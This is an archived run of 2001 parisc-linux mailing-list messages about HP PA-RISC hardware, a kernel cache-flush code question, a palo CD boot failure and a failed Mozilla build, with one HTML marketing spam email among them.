Original-Received: from citronier.wanadoo.fr (193.252.19.222) by magnolia.wanadoo.fr; 31 Oct 2001 23:54:22 +0100
Original-Received: from mehaban (80.11.94.253) by citronier.wanadoo.fr; 31 Oct 2001 23:54:06 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12862

Hello All

does someone knows something about 
the HP A2089-66530 Graphic & Audio Card ?
is there a doc somewhere ?
is it supported by PA-Linux ?
does someone has such card ?

Regards
Jean-Yves
jean-yves.guillevic@wanadoo.fr




From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug in flush_dcache_page?
Date: Wed, 31 Oct 2001 20:56:06 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20011031205606.B4713@systemhalted>
References: <20011031173905.B5120@parcelfarce.linux.theplanet.co.uk> <20011031180840.C5120@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620694 28992 80.91.229.3 (22 Nov 2014 01:44:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:54 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 19:27:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (cr821974-a.lndn1.on.wave.home.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B896482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 19:27:30 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id fA11u6g04815
	for parisc-linux@parisc-linux.org; Wed, 31 Oct 2001 20:56:06 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011031180840.C5120@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 31, 2001 at 06:08:40PM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12863

> 
> Aha.  A couple of things from talking to various VM/VFS people...
> 1. page->mapping is guaranteed to exist for pages in the page cache --
>    this is how they're located.
> 2. If a page is simultaneously mapped in both user and kernel space, and
>    user space touches it, either it leaves the page cache or it was mapped
>    shared.
> 

Why would a user touch cause the page to leave the cache? 
(Maybe I'm not reading enough into it...)

The shared case I can see.

> flush_dcache_page is only called on pages in the page cache, so we can
> assume that page->mapping exists, and we don't need to flush any user
> mappings of this page.
> 
> 	if (!page->mapping->i_mmap & !page->mapping->i_mmap_shared) {
> 		set_bit(PG_dcache_dirty, &page->flags);
> 	} else {
> 		struct vm_area_struct *vma = page->mapping->i_mmap_shared;
> 		if (vma) {
> 			flush_user_page(vma->vm_mm, vma->vm_start + page->index);
> 		}
> 		flush_kernel_dcache_page(page_address(page));
> 	}
> 

Any particular reason for the bitwise and?

c.




From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug in flush_dcache_page?
Date: Thu, 1 Nov 2001 03:03:18 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20011101030318.H5120@parcelfarce.linux.theplanet.co.uk>
References: <20011031173905.B5120@parcelfarce.linux.theplanet.co.uk> <20011031180840.C5120@parcelfarce.linux.theplanet.co.uk> <20011031205606.B4713@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620694 28994 80.91.229.3 (22 Nov 2014 01:44:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:54 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 31 20:03:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9B8B482B
	for <parisc-linux@parisc-linux.org>; Wed, 31 Oct 2001 20:03:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15z88U-00079q-00; Thu, 01 Nov 2001 03:03:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011031205606.B4713@systemhalted>; from carlos@baldric.uwo.ca on Wed, Oct 31, 2001 at 08:56:06PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12864

On Wed, Oct 31, 2001 at 08:56:06PM -0500, Carlos O'Donell Jr. wrote:
> > 2. If a page is simultaneously mapped in both user and kernel space, and
> >    user space touches it, either it leaves the page cache or it was mapped
> >    shared.
> 
> Why would a user touch cause the page to leave the cache? 
> (Maybe I'm not reading enough into it...)
> 
> The shared case I can see.

I meant `dirty' rather than `touch'.  If the page is mapped shared, writes
to it are visible to all users.  If it's mapped private, a write does
a copy-on-write.  The page leaves the page cache at this point because its
contents are no longer valuable to anyone except the process.

> > 	if (!page->mapping->i_mmap & !page->mapping->i_mmap_shared) {
> > 		set_bit(PG_dcache_dirty, &page->flags);
> > 	} else {
>
> Any particular reason for the bitwise and?

It's not a sequence point.  So it doesn't have to be test, branch, test,
branch; it can be test, test, branch.  I'm not sure how the compiler does
on this, to be honest.  It's a microoptimisation that's almost certainly
not worth making.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More Install on C110: Kernel doesn't load...
Date: Thu, 1 Nov 2001 21:18:31 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <4A91AEBA-CF40-11D5-A1E4-0030657D1C94@bigw.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620695 28999 80.91.229.3 (22 Nov 2014 01:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov  1 20:18:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CAFE482B
	for <parisc-linux@parisc-linux.org>; Thu,  1 Nov 2001 20:18:38 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id VAA30230
	for <parisc-linux@parisc-linux.org>; Thu, 1 Nov 2001 21:13:10 -0600
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12865

OK, I did a quick and dirty port of palo to MacOS X/Darwin and was able 
to run it on the ISO image and modify the boot blocks correctly.

I've got it to boot from the CD, turned out I was burning the CD wrong, 
needed to burn with Track-At-Once with Close CD, rather than simply 
Disc-At-Once in EasyCD Creator on Win2k.

However, when attempting to boot the kernel, I get this:

Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 160694 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8

Error: read from boot device failed (status = -4)
byteio_read: seekread() returned -1 expected 2048
Error:  segment 0 read() failed

Any thoughts?

Thanks,
Dan




From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christine Hall" <return@trafficmagnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC-LINUX.ORG
Date: Fri, 2 Nov 2001 18:20:05 +0800
Lines: 99
Approved: news@gmane.org
Message-ID: <200111021015.fA2AFuP07663@trafficmagnet.net>
Reply-To: "Christine Hall" <christine@trafficmagnet.net>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/html;
X-Trace: ger.gmane.org 1416620695 29002 80.91.229.3 (22 Nov 2014 01:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 03:20:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trafficmagnet.net (unknown [211.101.236.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D884482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 03:19:59 -0700 (MST)
Original-Received: from sendmail ([211.101.236.29])
	by trafficmagnet.net (8.11.0/8.11.0) with ESMTP id fA2AFuP07663
	for <parisc-linux@lists.parisc-linux.org>; Fri, 2 Nov 2001 18:15:56 +0800
X-Priority: 3
X-Library: Trafficmagnet 8.0
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12866

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff><img src="http://report.trafficmagnet.net/report/tr/get.php?referemail=
parisc-linux@lists.parisc-linux.org
" width=1 height=1 border=0><FONT face=Arial size=2>
<P>Hello,<BR></P>
<P>I visited 
<A href=http://parisc-linux.org>parisc-linux.org</A>
</A> and I 
noticed that you are not listed on some search engines. I am sure you can 
increase the number of people who visit 
<A href=http://parisc-linux.org>parisc-linux.org</A>
</A>. Do you know TrafficMagnet? TrafficMagnet is a unique technology that instantly submits your 
web site to over 300,000+ search engines and directories every month. This is a 
very low-cost and effective way of advertising your site. </P>
<P>To check our prices and submit 
<A href=http://parisc-linux.org>parisc-linux.org</A>
</A> to 
300,000+ search engines, go to <a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
">TrafficMagnet.net</A></P>
<P>I would love to hear from you. </P>
<P>Best Regards,<BR>Christine Hall<BR>Sales &amp; Marketing<BR><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
">www.TrafficMagnet.net</A> 
<STYLE type=text/css>.button {
	BACKGROUND-COLOR: #cc0000; COLOR: #ffffff; FONT-WEIGHT: bold
}
</STYLE>
</P>
<P>
<TABLE border=0 cellPadding=0 cellSpacing=0 width=507>
  <TBODY>
  <TR>
    <TD width=149><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=159 src="http://image4.trafficmagnet.net/trafficmagnet/magnet.jpg" 
      width=149></A></TD>
    <TD width=59><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=159 src="http://image4.trafficmagnet.net/trafficmagnet/blitz.gif" 
      width=59></A></TD>
    <TD width=253>
      <TABLE border=0 cellPadding=0 cellSpacing=0>
        <TBODY>
        <TR>
          <TD height=194 rowSpan=3 width=21><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 height=194 
            src="http://image4.trafficmagnet.net/trafficmagnet/frameleft.jpg" 
            width=21></A></TD>
          <TD height=24 width=210><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG 
            border=0 height=24 
            src="http://image4.trafficmagnet.net/trafficmagnet/frametop.jpg" 
            width=210></A></TD>
          <TD height=194 rowSpan=3 width=22><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 height=194 
            src="http://image4.trafficmagnet.net/trafficmagnet/frameright.jpg" 
            width=22></A></TD></TR>
        <TR>
          <TD>
<A Href = http://parisc-linux.org><IMG Src = http://image10.trafficmagnet.net/imagenew/CRAWLERImgISC001/026/234.jpg Border=0 width="210" height="141"></A>
</A>
          </TD></TR>
        <TR>
          <TD height=25 width=210><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG 
            border=0 height=25 
            src="http://image4.trafficmagnet.net/trafficmagnet/framebottom.jpg" 
            width=210></A></TD></TR></TBODY></TABLE></TD>
    <TD width=239><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=175 src="http://image4.trafficmagnet.net/trafficmagnet/people.gif" 
      width=239></A></TD></TR>
  <TR>
    <TD width=149><a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 
      height=48 src="http://image4.trafficmagnet.net/trafficmagnet/brand.jpg" 
      width=149></A></TD>
    <TD width=59>&nbsp;</TD>
    <TD align=middle vAlign=bottom width=253>
	<a target=_blank href="http://www.trafficmagnet.net/email.php?referemail=
parisc-linux@lists.parisc-linux.org
"><IMG border=0 src="http://image4.trafficmagnet.net/trafficmagnet/signup.gif"></A>
    </TD>
    <TD align=right vAlign=bottom 
width=239>&nbsp;</TD></TR></TBODY></TABLE></FONT></P></BODY></HTML>



From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: [parisc-linux] More Install on C110: Kernel doesn't
	load...
Date: Fri, 02 Nov 2001 12:06:49 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <sbe28dc3.046@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620695 29005 80.91.229.3 (22 Nov 2014 01:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:55 +0000 (UTC)
To: <dan@bigw.org>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 04:15:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E08B6482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Nov 2001 04:15:50 -0700 (MST)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id MAA24341 for <parisc-linux@parisc-linux.org>; Fri, 2 Nov 2001 12:15:48 +0100 (MET)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma023993; Fri, 2 Nov 01 12:14:33 +0100
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Fri, 02 Nov 2001 12:12:51 +0100
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12867

>OK, I did a quick and dirty port of palo to MacOS X/Darwin and was =
able=20
>to run it on the ISO image and modify the boot blocks correctly.
>
>I've got it to boot from the CD, turned out I was burning the CD =
wrong,=20
>needed to burn with Track-At-Once with Close CD, rather than simply=20
>Disc-At-Once in EasyCD Creator on Win2k.
>
>However, when attempting to boot the kernel, I get this:
>
>Entry 00100000 first 00100000 n 4
>Segment 0 load 00100000 size 160694 mediaptr 0x1000
>Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
>Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
>Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
>
>Error: read from boot device failed (status =3D -4)
>byteio_read: seekread() returned -1 expected 2048
>Error:  segment 0 read() failed
>
>Any thoughts?
>
Yeah, something's wrong :-)

It looks like palo is trying to read a file and doesn't get the 2048 bytes
it wanted (and expected). I'm not sure if this is the phase where palo
reads the kernel. If it is, double check if it is trying to read the =
correct
file.

This may indicate that either your CD is still bad, or that your hardware
in general is flaky (bad cable, bad termination, bad cdrom-drive).

Do you have another linux system and can you check if the CD is
readable on that system? A simple 'cat /dev/cdrom > /dev/null' should
mention any errors.

Good luck,
Jurriaan




From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Fri, 2 Nov 2001 12:17:07 +0100
Lines: 945
Approved: news@gmane.org
Message-ID: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0015_01C16398.4A7F4C80"
X-Trace: ger.gmane.org 1416620696 29007 80.91.229.3 (22 Nov 2014 01:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:56 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 04:18:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe76.law4.hotmail.com [216.33.148.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2445482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Nov 2001 04:18:17 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 2 Nov 2001 03:18:17 -0800
X-Originating-IP: [213.224.83.142]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 02 Nov 2001 11:18:17.0172 (UTC) FILETIME=[12032140:01C16390]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12868

This is a multi-part message in MIME format.

------=_NextPart_000_0015_01C16398.4A7F4C80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

I haven't touched my 712/60 for a week now, and today I've decided to
compile Mozilla. I can already hear the real gurus shouting: "why not use
lynx?". Actually I did use lynx, but I didn't like it very much.
Before I start telling my story, you should know I'm not very much of a
programmer. Sure I know how to write a very basic C program (like "hello
world"), but there it ends.

So I downloaded the tar.gz archive, unpacked it and ran "./configure". My
workstation appeared to pass all tests and I was ready to run a "make". In
the first attached file (make.log.std) you can find the output of this
command. Investigating the cause of the error brought me to the file
"prcpucfg.h". "Unknown CPU architecture" the error says. Indeed, while
browsing through that file I couldn't find anything near a "PARISC"
architecture.

I tried another approach and ran
"./configure --build=hppa-hpux --host=hppa-hpux". Again I passed the test so
I ran "make". You can find the output of this command in the second file
(make.log.hpux). He doesn't seem to find the "model.h" file, which makes
sense. I assume the "model.h" file can only be found on a real HP-UNIX.

"protypes.h" reads:
...
/* model.h on HP-UX defines int8, int16, and int32. */
#ifdef HPUX
#include <model.h>
#endif
...

Searching the web brought me to the following URL:
http://www.informatik.uni-frankfurt.de/doc/man/hpux/model.4.html . This page
describes the contents of the header-file:
...
      model.h also contains typedefs for several predefined types to enhance
      portability of certain types of code and files.

           int8, u_int8             Signed and unsigned 8-bit integers.
           int16, u_int16           Signed and unsigned 16-bit integers.
           int32, u_int32           Signed and unsigned 32-bit integers.
           machptr, u_machptr       Signed and unsigned integers large
                                    enough to hold a pointer.
...

So I need a bit of advice. Is configuring with
"--build=hppa-hpux --host=hppa-hpux" the right way to go? If so, can someone
provide me with the model header file or the correct typedefs?

Any thoughts on this are very much appreciated ;-)


regards,

Kenneth

------=_NextPart_000_0015_01C16398.4A7F4C80
Content-Type: application/octet-stream;
	name="make.log.hpux"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="make.log.hpux"

make[1]: Entering directory `/usr/local/src/mozilla/config'=0A=
nsinstall.c=0A=
gcc -o nsinstall.o -c -DOSTYPE=3D\"Linux2.4\" -DOSARCH=3D\"Linux\" =
-DMOZ_REFLOW_PERF -DMOZ_REFLOW_PERF_DSP -DOJI -D_BSD_SOURCE   =
-I../dist/include -I../dist/include =
-I/usr/local/src/mozilla/dist/include/nspr      -I/usr/X11R6/include   =
-fPIC -I/usr/X11R6/include -Wall -W -Wno-unused -Wpointer-arith =
-Wcast-align -pedantic -Wno-long-long -DHPUX11 -Dhpux -pipe =
-fshort-wchar  -DDEBUG -DDEBUG_root -DTRACING -g -I/usr/X11R6/include =
-include ../config-defs.h -DMOZILLA_CLIENT -Wp,-MD,.deps/nsinstall.pp =
nsinstall.c=0A=
pathsub.c=0A=
gcc -o pathsub.o -c -DOSTYPE=3D\"Linux2.4\" -DOSARCH=3D\"Linux\" =
-DMOZ_REFLOW_PERF -DMOZ_REFLOW_PERF_DSP -DOJI -D_BSD_SOURCE   =
-I../dist/include -I../dist/include =
-I/usr/local/src/mozilla/dist/include/nspr      -I/usr/X11R6/include   =
-fPIC -I/usr/X11R6/include -Wall -W -Wno-unused -Wpointer-arith =
-Wcast-align -pedantic -Wno-long-long -DHPUX11 -Dhpux -pipe =
-fshort-wchar  -DDEBUG -DDEBUG_root -DTRACING -g -I/usr/X11R6/include =
-include ../config-defs.h -DMOZILLA_CLIENT -Wp,-MD,.deps/pathsub.pp =
pathsub.c=0A=
gcc -o nsinstall -I/usr/X11R6/include -Wall -W -Wno-unused =
-Wpointer-arith -Wcast-align -pedantic -Wno-long-long -DHPUX11 -Dhpux =
-pipe -fshort-wchar  -DDEBUG -DDEBUG_root -DTRACING -g nsinstall.o =
pathsub.o  -L../dist/bin -L../dist/lib  -ldl -lm   =0A=
/usr/bin/perl -I. ./bdate.pl build_number =0A=
../config/nsinstall -R -m 444 nsBuildID.h ../dist/include=0A=
/usr/bin/perl -I../config ../config/build-list.pl =
../dist/include/.headerlist nsBuildID.h=0A=
rm -f ../config/final-link-comps ../config/final-link-libs =
../config/final-link-comp-names=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/config'=0A=
make[1]: Entering directory `/usr/local/src/mozilla/build'=0A=
make[2]: Entering directory `/usr/local/src/mozilla/build/unix'=0A=
chmod 755 mozilla-config=0A=
../../config/nsinstall -R -m 755 mozilla-config ../../dist/bin=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/build/unix'=0A=
